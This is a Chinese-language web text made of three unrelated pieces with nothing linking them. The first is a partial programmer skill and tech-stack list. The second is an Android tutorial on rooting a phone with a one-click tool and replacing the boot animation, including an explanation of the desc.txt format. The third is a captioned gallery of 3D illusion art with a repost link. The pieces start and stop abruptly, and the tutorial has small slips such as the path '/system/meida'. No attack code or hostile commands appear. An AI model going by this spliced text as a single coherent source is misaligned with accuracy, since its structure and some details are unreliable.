进程间通信,多线程编程,网络协议与编程,高并发服务器,开源服务器框架,服务器阿里云部署实施。 数据库基本功 sql基本语句,表的设计与优化, 数据库的备份部署和实施,数据库缓存优化。 Hacker精神和能力 热爱编程,快速学习能力,高强度抗压能力,解决问题的能力,健康的身体。 3.技术栈: c/c++ Linux系统编程 arm处理器 python 瑞士军刀 JAVA、android x86汇编 html css javascript
1.使用一键root工具,获取android手机的root权限。 将手机与电脑通过Usb线进行连接。 打开一键root软件。 2.手机安装Root Explorer的软件 re335.apk 将/system/meida 的权限设置为可写 将原来的开机动画 bootanimation.zip重命名或删除 3.将制作好的图片打包为bootanimation.zip并存放到system/media/目录下 desc.txt文件的格式为: 480 250 15 p 1 0 part0 p 0 10 part1 其中各个参数的意义为: 480 250 15 图片的宽 图片的高 每秒显示的帧数 p 1 0 part0 标识符 循环的次数 阶段切换间隔时间 对应图片的目录 p 0 10 part1 标识符 循环的次数 阶段切换间隔时间 对应图片的目录 标识符:p 是必须的。 循环次数:指该目录中图片循环显示的次数,0表示本阶段无限循环。 每秒显示的帧数:就是每秒显示的图片数量,决定每张图片显示的时间。 阶段切换间隔时间:指的是该阶段结束后间隔多长时间显示下一阶段的图片,其单位是每张图片显示的时间。 对应图片的目录:就是该阶段动画的系列图片,以图片文件目录的顺序显示动画,而且图片的格式必须要为PNG。 使用360手机助手,将制作好的bootanimation.zip复制到/system/media/
大家有没觉得有意思啦,反正俺是被震撼到了! 好奇妙…… 长发公主,我都晕了,你不晕吗? 狗狗,你这是要干啥的节奏啊 这箭,到底准不准啊? 这,我就不懂了! 恐龙,不要吓小孩!哈哈! 好逼真的3D,感觉要出来了…… 再来一张! 太牛了!这是怎么做到的? 转载于:http://www.yixieshi.com/youqu/19588.html